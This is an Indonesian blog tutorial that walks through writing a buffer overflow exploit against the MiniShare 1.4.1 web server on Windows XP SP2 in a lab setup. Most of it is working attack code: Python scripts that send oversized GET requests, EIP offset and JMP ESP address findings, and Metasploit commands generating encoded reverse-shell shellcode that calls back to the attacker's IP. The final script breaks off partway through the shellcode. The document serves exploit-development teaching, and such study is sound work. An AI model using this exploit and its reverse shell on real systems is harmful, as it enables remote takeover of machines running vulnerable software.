Selasa, 17 April 2012

From Bug to 0day Level-1

ni adalah hari spesial bagi HN-Community. Karena hari ini telah di-post sebuah tutorial pentesting system pertama di Indonesia. Jika tidak percaya, carilah tutorial mengenai From bug to 0day yang berbahasa indonesia, dan yang memiliki screenshoot seperti yang dibuat di dalam forum ini. Materi ini sebenarnya telah diajarkan oleh Mati Aharoni, pemimpin Offensive Security, yang sekaligus menjadi pencipta Back|track. Saat itu Mati Aharoni mencoba mengeksploitasi system melalu program NNM Ovas. Namun kali ini saya akan mencoba metode yang sama, namun dengan program yang berbeda, yaitu MiniShare. Biasanya anda harus mengikuti training Offsec atau DefCon untuk mendapat materi ini, dan tentu saja tidak gratis. Namun hari ini, saya berikan tutorial ini kepada anda.


Requirements:

Back|Track:

  • Perl interpreter
  • Python interpreter
  • Metasploit 3.x
  • Text Editor
  • Netcat
  • VM-Ware
  • OS Windows-XP SP 2
  • OllyDbg 1.10
  • MiniShare 1.4.1

IP address saya: 172.16.10.1
IP target: 172.16.10.128
Port target: 80


Walkthrough:

Pastikan kedua mesin bisa saling berinteraksi dengan perintah ping

1. Install MiniShare 1.4.1
2. Attach minishare.exe ke dalam OllyDbg

Buka File - Open - C:\Program Files\MiniShare\minishare.exe

3. Memicu Vulnerablity

Sekarang kita telah memiliki minishare dalam ollydbg, kita harus tau bagaimana cara memicu vulnerability program minishare, sehingga kita dapat menganalisa untuk mengembangkan exploit kita.

Dengan mengecek keamanan vulnerability, dan memperhatikan exploit yang ada, kita dapat melihat bahwa vulnerability terpicu dengan mengirim permintaan GET dengan kapasitas yang sangat besar ke dalam system.

Kita dapat mencari tau standar format sebuah HTTP get request dengan mengecek dokumen HTTP RFC, atau mengambil paket dari beberapa web browser. Namun pada dasarnya, sebuah GET request mengandung URI yang diterima oleh web server, diikuti dengan versi protokol HTTP, diikuti dengan header lainnya, dan diakhiri dengan dua garis baru.

Melakukan sebuah packet capture dari sebuah request menuju http://www.google.com, menunjukan bahwa request dimulai dengan "GET / HTTP/1.1/" kemudian mengandung nomer dari header lainnya, dan diakhiri dengan dua garis baru.

Kita bisa mencoba dan membuat kembali overflow dengan mengirim perintah ini kepada server yang vulnerable:

Code:
"GET [panjang string dari karakter A] HTTP/1.1[new_line, carriage_return x 2]"

Kita bisa mengirim ini menggunakan script python. Dalam script python, "\x41" adalah nilai heksadesimal dari ASCII karakter "A", dan "\r\n\" adalah baris baru. Kamu harus mengganti variabel target_address untuk memuat alamat target. Simpan file ini dengan nama 0day.py, kemudian ubah execution permision dengan perintah "cmhod +x 0day.py". Python merupakan bahasa pemrograman yang sensitif, jadi pastikan kamu tidak membuat kesalahan saat penulisan script.

Spoiler! : 
Quote:#!/usr/bin/python
import socket


target_address="172.16.10.128"
target_port=80


buffer = "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"


sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


Catatan: ubah target_address sesuai dengan IP Windows XP dalam VM-Ware anda. Dan biarkan port tetap bernilai 80.

Kembali lagi ke OllyDbg. Setelah meng-attach minishare, jalankan program tersebut dengan memilih "run" pada "debug" menu. Perhatikan. EIP pada Register kolom adalah 7C90EB94. Jalankan script 0day.py dengan perintah:

Code:
root@red-dragon:~# ./0day.py
atau
Code:
root@red-dragon:~# python 0day.py

Dan perhatikan kembali EIP pada OllyDbg, sekarang EIP telah berubah menjadi 41414141 dan program mengalami crash system. Berhasil, kita sudah membuat vulnerability minishare terpicu.


4. Mengambil alih Crash System

Sedikit penjelasan mengenai EIP register akan saya jelaskan di sini. CPU memutuskan, mana instruksi yang dieksekusi selanjutnya dengan membaca nilai dari sebuah EIP register, dan mengeksekusi instruksi yang berlokasi pada alamat memory. Sebagai contoh, jika EIP register memuat alamat 0x77daaf0a, dan alamat memory tersebut menyimpan kode \xff\xe4 (dimana pada opcode bahasa mesin untuk assembly instruksi berarti JMP ESP) kemudian CPU akan mengeksekusi instruksi tersebut, menyebabkan "jump" eksekusi ke memory yang berlokasi di dalam alamat memory yang diberikan referensi oleh ESP register. Jadi, jika ESP register memuat nilai 0x01423908, sebuah JMP ESP instruksi akan dieksekusi, yang menyebabkan EIP di set menjadi 0x01423908, dan apapun instruksi bahasa mesin yang berlokasi pada alamat memory 0x01423908 akan dieksekusi selanjutnya.

Secara konsekuan, untuk menghubungkan kembali eksekusi pada exploit kita, kita harus meng-overwrite EIP register dengan lokasi memory yang mengandung sebuah instruksi dalam bahasa mesin yang akan menunjuk EIP register ke sebuah area yang bisa kita tempati sebagai tempat menaruh kode exploit kita. Tempat yang paling berharga untuk menaruh kode exploit kita adalah di dalam buffer data yang sama, yang sebelumnya telah kita picu exception-nya yang mengakibatkan buffer overflow.

Kita tidak tau pasti alamat dari lokasi memory yang dapat kita kontrol saat proses buffer overflow terjadi, namun kita tau dari mengecek nilai register pada waktu yang sama, yang ditunjuk oleh register EIP ke lokasi di dalam buffer ini. Secara konsekuen, jika kita bisa menuju kembali kode eksekusi ke lokasi memory yang di-suggest oleh ESP, dan jika kita tempatkan instruksi bahasa mesin kita ke dalam lokasi buffer yang ditunjuk oleh ESP, kita dapat meng-eksploitasi aplikasi untuk menjalankan code exploit kita.

5. Menemukan Instruksi JMP ESP

Pada tahap sebelumnya, kejadian crash ini menyebabkan alamat EIP di-overwrite dengan lokasi memory yang memuat instruksi bahasa mesin yang dikenal yang akan menunjuk kode ke dalam buffer kita. Sejak register ESP menunjuk ke dalam buffer kita saat kejadian crash, JMP ESP perintah didiskusikan lebih awal oleh system yang memperbesar peluang buffer overflow.

Jadi bagaimana kita menemukan instruksi JMP ESP yang berdiam di dalam lokasi yang dapat diprediksi di dalam memori yang kita gunakan? Yaaa, ada beberapa cara untuk mencapainya, namun saya memilih metode ini melalui debugger.

Pertama-tama, buka menu "View" di dalam OllyDbg, dan pilih Executeable Modules. Setelah memilih Executealbe Modules, maka akan ekluarjendela baru yang menampilkan semua modul yang dapat dieksesuki yang tersimpan, yang dimiliki oleh proses ini. Untuk minishare, kita dapat melihat minishexe pada daftar teratas, dan kemudian sebuah nomer dari Windows DLL yang telah dimuat oleh minishare untuk melayani fungsi tambahan yang dibutuhkan. Kita dapat mencari di dalam modul-modul ini untuk mencari instruksi JMP ESP yang kita butuhkan.

Catatan: Sebaiknya saya memberi beberapa informasi sebelum kita melagkah lebih jauh. Saya membuat exploit ini untuk Windows XP SP2. Windows XP tidak memiliki pengamanan untuk mengatur ulang secara acak setiap lokasi pangkalan system dimana setiap DLL dimuat. Jadi setiap aplikasi ini berjalan, setiap DLL akan dimuat kedalam memory yang sama persis dengan alamat memory saat dimulainya system. Ini berarti, instruksi yang bertempat di dalam DLL itu juga akan sama dengan alamat ketika program berjalan. Windows Vista dan Windows 7 mengimplementasikan sebuah pengamanan yang disebut ASLR dimana hasil dari sebuah DLL (khususnya Windows System DLL) akan dimuat ke pangkalan lokasi secara acak. Hal ini berarti instruksi yang berada dalam DLL tersebut memiliki alamat yang berbeda setelah system melakukan restarting. Jadi saya sarankan untuk mengikuti pelajaran ini dengan menggunakan Windows XP SP2.

Tambahan untuk fakta kecil mengenai ASLR ini, setiap Service Pack, layout dari sebuah system DLL akan berubah, dan bahasa yang berbeda dari sebuah OS Windows, juga memiliki struktur DLL yang berbeda-beda. Ini berarti, jika kamu menggunakan Service Pack dan Bahasa yang berbeda dalam tutorial ini, maka kamu akan menemukan beberapa perbedaan dari sebuah alamat memori yang tertera dalam kolom OllyDbg. Berfokuslah pada apa yang telah anda temukan bukan mengcopy hasil address yang saya temukan.

Sekarang saatnya memeperhatikan daftar executeable modul milik kita dalam OllyDbg. kita bisa mengambil hampir setiap entri-entri inin untuk menemukan alamat JMP ESP, bagaimanapun juga, ada beberapa hal yang sebaiknya dipertimbangkan sebelum memilih. Pertama, kita harus menghindari setiap alamat yang mengandung 0 byte \x00. Karakter ini menjadi pertimbangan dalam sebuah string terminator dalam bahasa pemrograman C. Dan biasanya memiliki efek untuk menghancurkan exploit ketika exploit disertai dengan buffer. Untuk beberapa alasan, kita juga harus menghindari line feed dan carriage return karakter seperti \x0a dan \x0d. Ini berarti, menggunakan alamat apapun dari minishare.exe berarti mustahil menjalankan exploit, karena semua alamat executeable modul ini mengandung 0 byte (base address = 0x00400000). Jadi lebih baik jika kita menggunakan DLL yang datang bersama aplikasi itu sendiri, karena alamat-alamat ini tidak berubah walau dengan OS yang memiliki Service Pack, dan Bahasa yang berbeda. Hal ini dapat memberi peluang pada exploit untuk bergerak lebih bebas di dalam system. Karena tidak adanya tambahan DLL seperti minishare, kita harus memecahkan mana Windows DLL yang termuat yang akan kita gunakan? Pada kali ini saya mengambil "major" DLL yang sedikit berubah pada hasil hotfixes. Saya juga menggunakan shell32.dll atau user32.dll. Mari kita cari shell32.dll lebih dulu.

Klik kanan pada entri shell32.dll dalam jendela Executeable Modules, dan pilih View Code in CPU.

Kemudian klik kanan pada CPU are (yang menunjukan code untuk shell32.dll module - cek teks sesudah "module" di tittle bar untuk meyakinkan bahwa ini adalah dll yang sudah kita pilih sebelumnya) kemudain pilih search -> Command atau tekan ctrl+f.

Dalam box Find Command. ketik JMP ESP, dan pilih Find.

Dalam system saya, saya menemukan perintah JMP ESP yang berletak pada alamat memory 0x7CA58265 dari shell32.dll


Alamat ini terlihat bebas dari karakter buruk seperti \x00 \x0a dan \x0d, jadi kita bisa menggunakan alamat ini untuk meng-overwrite EIP. Jika alamat pertama terliah mengandung karakter buruk, kamu bisa mencari alamat lain dengan menekan tombol CRTL+L.

6. Menemukan Offsets di dalam Buffer

Sekaran kita sudah memiliki alamat yang akan kita gunakan untuk meng-overwrite EIP. Kita harus menemukan lokasi pasti dimana EIP akan di-overwrite oleh buffer kita. Sehingga kita bisa menyusun buffer yang akan kita kirim ke dalam system. Kita juga harus menemukan lokasi di dalam buffer dimana ESP regiter akan menunjuk, jadi kita bisa menempatkan kode bahasa mesin kita di sana.

Untuk melakukan ini, kita bisa menggunakan tool yang didistribusikan oleh Metasploit Framework yang bernama pattern_create.rb. Tool ini membuat pattern yang unik dengan panjang pattern yang spesifik, dimana bisa disisipkan kedalam buffer untuk mengirimkan exploit kita ke dalam system yang vulnerable, dimana overwrite akan terjadi. Saya akan mencoba meregenerasi sebuah string, dan menaruhnya kedalam kerangka exploit.

Code:
root@red-dragon:~# cd /pentest/exploits/framework/tools/
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_create.rb 2220


Catatan:
Kamu harus mengkopi semua output yang dihasilkan oleh pattern_create.rb dan paste ke dalam 0day.py script kita.

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac​6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A​f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9​Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak​6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A​n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9​Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As​6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A​v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9​Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba​6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B​d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9​Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi​6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2B​l3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9​Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq​6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2B​t3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9​Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By​6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2C​b3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9​Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg​6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2C​j3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9​Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co​6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2C​r3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9​Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9")
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Sekarang kita kembali ke OllyDbg, pilih debug, kemudian pilih restart. Dan tekan tombol Play atau F9 untuk menjalankan minishare. Kemudian kita jalankan kembali 0day.py kita. Hal restart ini harus dilakukan setiap kita hendak memicu vulnerability dari sebuah program.



Bisa kita lihat, sekarang EIP menunjuk ke 36684335 dan ESP menunjuk ke"Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck​3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9C​n0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4"

Mari kita buat kembali pattern dengan tools pattern_create.rb
Code:
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_offset.rb 36684335
hasil = 1787
Code:
root@red-dragon:/pentest/exploits/framework/tools# ./pattern_offset.rb Ch7C
hasil = 1791


Kemudian ubah 0day.py kita menjadi:

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x41\x41\x41\x41"
buffer+= "\x90" * (1791 - len(buffer))
buffer+= "\xcc" * (2220 - len(buffer))
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()


Restart kembali, lalu jalankan minishare di dalam debugger OllyDbg. Kemudian jalankan kembali script 0day kita. Sekarang EIP menunjuk ke 41414141, dan ESP menunjuk ke 01343908.


Sekarang kita tau dimana letak offsets yang kita butuhkan untuk meng-overwrite EIP dengan sebuah alamat pilihan kita, jadi kita bisa melanjutkan untuk menambahkan data yang benar ke dalam buffer kita.

7. Memodifikasi Exploit untuk mendapat kode eksekusi

Pertama, kita harus menggunakan alamat JMP ESP yang telah kita dapat sebelumnya untuk meng-overwrite EIP.

Sekarang, saya akan memberikan trik untuk melakukan ini. Pada dasarnya, LEO (Littel Endian Order) itu adalah jumlah byte yang ditempatkan dalam posisi paling kiri pada sebuah register. Untuk mendapat alamat dari 7CA58265 dalam sebuah EIP, kita harus memesan byte kembali untuk ditempatkan ke byte pertama. Alamat 7CA58265 dibuat dari 4 byte, yaitu 7C, A5, 82 dan 65, dimana tiap byte diwakili dengan 2 karakte heksadesimal. Untuk mendapat nilai ini dari dalam stack (dimana buffer overflow terjadi) kedalam register EIP, kita harus memesan byte 65, 82, A5 dan 7C atau 6582A57C.

Mari tulis ini ke dalam exploit kita, ingat bahwa alamat JMP ESP kamu mungkin berbeda dengan alamat JMP ESP yang saya temukan. Jadi gunakan apa yang anda dapat untuk mencapai kebehasilan exploitasi ini.

Alamat JMP ESP saya = 0x7CA58265

maka

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
buffer+= "\xcc" * (2220 - len(buffer)) # ESP menunjuk ke sini.
buffer+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()

Restart mini share, dan jalankan kembali. Sebelum kita mengirimkan 0day.py milik kita, kita akan mengatur sebuah breakpoint pada alamat yang akan di-overwrite oleh kita, untuk memastikan bahwa eksekusi tertuju dengan benar. Pada sisi atas kiri dari jendela CPU, klik kanan dan pilih Go to->Expression. Di dalam jendela tersebut, masukan alamat dari instruksi JMP ESP milik kamu, (dalam tutorial ini saya mendapat alamat JMP ESP 7CA58265), dan klik OK. Kemudian dengan JMP ESP yang di highlight, tekan F2 untuk membuat breakpoint. Alamat pada jendela CPU untuk instruksi yang serupa akan menjadi berwarna merah. Yang akan mengindikasikan bahwa breakpoint telah diatur. Breakpoint pada dasarnya menghentikan eksekusi dari sebuah program dalam debugger ketika kita mencapai point yang serupa di dalam kode, dan itu akan memastikan kita bahwa JMP kita telah terjadi tanpa membiarkan kode kita terus berjalan.

Setelah kita mengirimkan 0day.py milik kita, system crash dan akan terpicu dan eksekusi akan berhenti pada breakpoint yang telah kamu tetapkan. Sekarang tekan F7, eksekusi akan "menuju" ke tempat pertama dari alamat \xcc dari buffer yang telah kita kirim. Jika ini tidak terjadi, cek kembali exploitmu, dan pastifkan offset kamu benar.


8. Menambahkan shellcode ke dalam exploit
Sekarang kita telah memiliki kode eksekusi, bagaimanapun juga, exploit kita masih tidak melakukan apapun yang berguna, sampai kita kode tempatkan bahasa mesin kedalam buffer kita. Untuk hal ini, kita bisa gunakan tool Metasploit msfpayload untuk meregernerasi shellcode yang bisa kita tambahkan kedalam kode buffer kita. Kode ini dibuat dengan opkode bahasa mesin yang bisa melakukan hal seperti membuka shells, menjalankan program dan lan-lain.


Gunakan LHOST dan LPORT parameter untuk menghubungkan kembali korban kita ke system LHOST=172.16.10.1 LPORT=443. Gunakan parameter C untuk menampilkan output dalam ctyle format.

Spoiler! : 
Quote:root@red-dragon:/opt/metasploit/msf3# msfpayload windows/shell_reverse_tcp LHOST=172.16.10.1 LPORT=443 C
/*
* windows/shell_reverse_tcp - 314 bytes
http://www.metasploit.com
* VERBOSE=false, LHOST=172.16.10.1, LPORT=443,
* ReverseConnectRetries=5, EXITFUNC=process,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\xac\x10\x0a\x01\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0"
"\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";


Terlihat bahwa shellcode kita memiliki karakter buruk sepert \x00 \x0a dan \x0d. Untuk itu kita gunakan msfencode untuk meregenerasi shellcode kita guna manghindari karakter buruk di dalam shellcode kita. Kali ini saya menggunakan encode x86/shikata_ga_nai.

Spoiler! : 
Quote:root@red-dragon:~# msfpayload windows/shell_reverse_tcp LHOST=172.16.10.1 LPORT=4444 R | msfencode -a x86 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -t c
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

unsigned char buf[] =
"\xd9\xea\xba\xb5\xcf\x9b\x38\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x4f\x83\xc0\x04\x31\x50\x15\x03\x50\x15\x57\x3a\x67\xd0\x1e"
"\xc5\x98\x21\x40\x4f\x7d\x10\x52\x2b\xf5\x01\x62\x3f\x5b\xaa"
"\x09\x6d\x48\x39\x7f\xba\x7f\x8a\x35\x9c\x4e\x0b\xf8\x20\x1c"
"\xcf\x9b\xdc\x5f\x1c\x7b\xdc\xaf\x51\x7a\x19\xcd\x9a\x2e\xf2"
"\x99\x09\xde\x77\xdf\x91\xdf\x57\x6b\xa9\xa7\xd2\xac\x5e\x1d"
"\xdc\xfc\xcf\x2a\x96\xe4\x64\x74\x07\x14\xa8\x67\x7b\x5f\xc5"
"\x53\x0f\x5e\x0f\xaa\xf0\x50\x6f\x60\xcf\x5c\x62\x79\x17\x5a"
"\x9d\x0c\x63\x98\x20\x16\xb0\xe2\xfe\x93\x25\x44\x74\x03\x8e"
"\x74\x59\xd5\x45\x7a\x16\x92\x02\x9f\xa9\x77\x39\x9b\x22\x76"
"\xee\x2d\x70\x5c\x2a\x75\x22\xfd\x6b\xd3\x85\x02\x6b\xbb\x7a"
"\xa6\xe7\x2e\x6e\xd0\xa5\x26\x43\xee\x55\xb7\xcb\x79\x25\x85"
"\x54\xd1\xa1\xa5\x1d\xff\x36\xc9\x37\x47\xa8\x34\xb8\xb7\xe0"
"\xf2\xec\xe7\x9a\xd3\x8c\x6c\x5b\xdb\x58\x22\x0b\x73\x33\x82"
"\xfb\x33\xe3\x6a\x16\xbc\xdc\x8a\x19\x16\x6b\x8d\x8e\x35\x7c"
"\x1b\x4e\x2e\x7f\x1b\x41\xf2\xf6\xfd\x0b\x1a\x5f\x56\xa4\x83"
"\xfa\x2c\x55\x4b\xd1\xa4\xf6\xde\xbe\x34\x70\xc3\x68\x63\xd5"
"\x35\x61\xe1\xcb\x6c\xdb\x17\x16\xe8\x24\x93\xcd\xc9\xab\x1a"
"\x83\x76\x88\x0c\x5d\x76\x94\x78\x31\x21\x42\xd6\xf7\x9b\x24"
"\x80\xa1\x70\xef\x44\x37\xbb\x30\x12\x38\x96\xc6\xfa\x89\x4f"
"\x9f\x05\x25\x18\x17\x7e\x5b\xb8\xd8\x55\xdf\xc8\x92\xf7\x76"
"\x41\x7b\x62\xcb\x0c\x7c\x59\x08\x29\xff\x6b\xf1\xce\x1f\x1e"
"\xf4\x8b\xa7\xf3\x84\x84\x4d\xf3\x3b\xa4\x47";


Selesai. Sudah tidak ada karakter buruk lagi di dalam shellcode kita. Sekarang masukan shellcode ini ke dalam buffer kita.

Spoiler! : 
Quote:#!/usr/bin/python
import socket

target_address="172.16.10.128"
target_port=80

buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x65\x82\xA5\x7C" # EIP Overwrite. Shell32.dll, XP SP2, JMP ESP, 7CA58265.
buffer+= "\x90" * 16
buffer+= ("\xd9\xea\xba\xb5\xcf\x9b\x38\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x4f\x83\xc0\x04\x31\x50\x15\x03\x50\x15\x57\x3a\x67\xd0\x1e"
"\xc5\x98\x21\x40\x4f\x7d\x10\x52\x2b\xf5\x01\x62\x3f\x5b\xaa"
"\x09\x6d\x48\x39\x7f\xba\x7f\x8a\x35\x9c\x4e\x0b\xf8\x20\x1c"
"\xcf\x9b\xdc\x5f\x1c\x7b\xdc\xaf\x51\x7a\x19\xcd\x9a\x2e\xf2"
"\x99\x09\xde\x77\xdf\x91\xdf\x57\x6b\xa9\xa7\xd2\xac\x5e\x1d"
"\xdc\xfc\xcf\x2a\x96\xe4\x64\x74\x07\x14\xa8\x67\x7b\x5f\xc5"
"\x53\x0f\x5e\x0f\xaa\xf0\x50\x6f\x60\xcf\x5c\x62\x79\x17\x5a"
"\x9d\x0c\x63\x98\x20\x16\xb0\xe2\xfe\x93\x25\x44\x74\x03\x8e"
"\x74\x59\xd5\x45\x7a\x16\x92\x02\x9f\xa9\x77\x39\x9b\x22\x76"
"\xee\x2d\x70\x5c\x2a\x75\x22\xfd\x6b\xd3\x85\x02\x6b\xbb\x7a"
"\xa6\xe7\x2e\x6e\xd0\xa5\x26\x43\xee\x55\xb7\xcb\x79\x25\x85"
"\x54\xd1\xa1\xa5\x1d\xff\x36\xc9\x37\x47\xa8\x34\xb8\xb7\xe0"
"\xf2\xec\xe7\x9a\xd3\x8c\x6c\x5b\xdb\x58\x22\x0b\x73\x33\x82"
"\xfb\x33\xe3\x6a\x16\xbc\xdc\x8a\x19\x16\x6b\x8d\x8e\x35\x7c"
